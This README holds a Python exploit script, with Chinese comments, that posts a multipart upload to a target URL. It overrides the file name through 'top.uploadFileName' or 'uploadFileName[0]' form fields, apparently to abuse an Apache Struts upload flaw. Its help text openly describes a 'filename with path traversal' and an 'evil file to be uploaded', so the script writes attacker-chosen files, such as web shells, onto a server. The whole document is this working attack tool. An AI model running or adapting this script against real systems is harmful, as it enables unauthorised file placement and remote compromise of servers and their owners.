README.md
Rendering markdown...
import requests
import argparse
import os
def send_post_request(url, filename_value, file_path, file_type):
# 读取文件内容
with open(file_path, 'r') as f:
file_content = f.read()
# 设置请求头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
}
# 设置 multipart/form-data
files = {
'Upload': (os.path.basename(file_path), file_content, 'text/html'),
}
# 设置字段参数,根据 -type 选择上传单文件还是多文件
if file_type == 's':
data = {
'top.uploadFileName': filename_value,
}
elif file_type == 'm':
data = {
'uploadFileName[0]': filename_value,
}
else:
raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")
# 发送POST请求
response = requests.post(url, headers=headers, files=files, data=data)
# 输出响应结果
print(f"Response Status Code: {response.status_code}")
print(response.text)
def main():
# 设置命令行参数
parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')
parser.add_argument('-u', '--url', required=True, help='upload aciton url')
parser.add_argument('-filename', required=True, help='filename with path traversal')
parser.add_argument('-file', required=True, help='evil file to be uploaded')
parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")
# 解析参数
args = parser.parse_args()
# 发送POST请求
send_post_request(args.url, args.filename, args.file, args.type)
if __name__ == '__main__':
main()